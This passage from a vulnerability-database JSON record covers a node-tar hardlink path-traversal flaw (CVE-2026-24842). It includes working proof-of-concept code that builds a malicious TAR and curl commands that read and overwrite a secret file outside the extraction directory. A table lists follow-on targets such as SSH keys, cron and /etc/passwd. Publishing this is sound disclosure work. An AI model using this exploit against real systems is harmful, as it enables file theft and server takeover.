console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require('fs');\n\nfunction tarHeader(name, type, linkpath = '', size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);\n b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);\n b.write(' ', 148);\n b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write('ustar\\x00', 257); b.write('00', 263);\n let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, '0') + '\\x00 ', 148);\n return b;\n}\n\n// Hardlink escapes to parent directory's secret.txt\nfs.writeFileSync('malicious.tar', Buffer.concat([\n tarHeader('d/', 'dir'),\n tarHeader('d/x', 'link', '../secret.txt'),\n Buffer.alloc(1024)\n]));\nconsole.log('Created malicious.tar');\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" > secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration & Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24842.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24842.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24842", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04676", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04653", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05631", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.0567", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05812", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.0578", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.0562", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05664", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05635", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05672", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05699", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05678", "published_at": "2026-04-11T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24842" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24842", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24842" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-28T14:55:08Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-28T14:55:08Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645", "reference_id": "2433645", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645" }, { "reference_url": "https://github.com/advisories/GHSA-34x7-hfp2-rc4v", "reference_id": "GHSA-34x7-hfp2-rc4v", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-34x7-hfp2-rc4v" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2900", "reference_id": "RHSA-2026:2900", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2900" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:5447", "reference_id": "RHSA-2026:5447", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:5447" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6192", "reference_id": "RHSA-2026:6192", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6192" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/61543?format=api", "purl": "pkg:npm/tar@7.5.7", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bj4b-gq5e-2kfy" }, { "vulnerability": "VCID-jj22-rfbv-bkg3" }, { "vulnerability": "VCID-qunt-xms1-a3cc" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.7" } ], "aliases": [ "CVE-2026-24842", "GHSA-34x7-hfp2-rc4v" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-xqpk-t1d2-yqak" } ], "risk_score": "4.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.7" }